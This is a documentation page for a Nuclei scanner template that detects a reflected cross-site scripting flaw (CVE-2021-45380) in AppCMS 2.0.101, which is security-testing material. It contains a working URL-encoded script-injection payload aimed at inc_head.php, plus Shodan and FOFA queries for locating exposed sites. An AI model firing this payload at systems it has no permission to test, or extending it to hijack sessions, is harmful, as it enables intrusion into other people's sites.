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Nuclei Templates

AppCMS - Cross-Site Scripting

ID: CVE-2021-45380

Severity: medium

Author: pikpikcu

Tags: cve2021,cve,appcms,xss

Description

Section titled “Description”

AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.

YAML Source

Section titled “YAML Source”
id: CVE-2021-45380


info:
  name: AppCMS - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/source-trace/appcms/issues/8
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45380
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-45380
    cwe-id: CWE-79
    epss-score: 0.00314
    epss-percentile: 0.70155
    cpe: cpe:2.3:a:appcms:appcms:2.0.101:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: appcms
    product: appcms
    shodan-query:
      - http.html:"Powerd by AppCMS"
      - http.html:"powerd by appcms"
    fofa-query: body="powerd by appcms"
  tags: cve2021,cve,appcms,xss


http:
  - method: GET
    path:
      - '{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '""></script><script>alert(document.domain)</script>'
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a00463044021f476d5083f128722e820258707ebd352da22a628b13ebdaaba006338c0b43d0022100d11d3f866b1e41b635c86466ba83fe60c192fd077067ee372926ab1501e66c94:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-45380.yaml"

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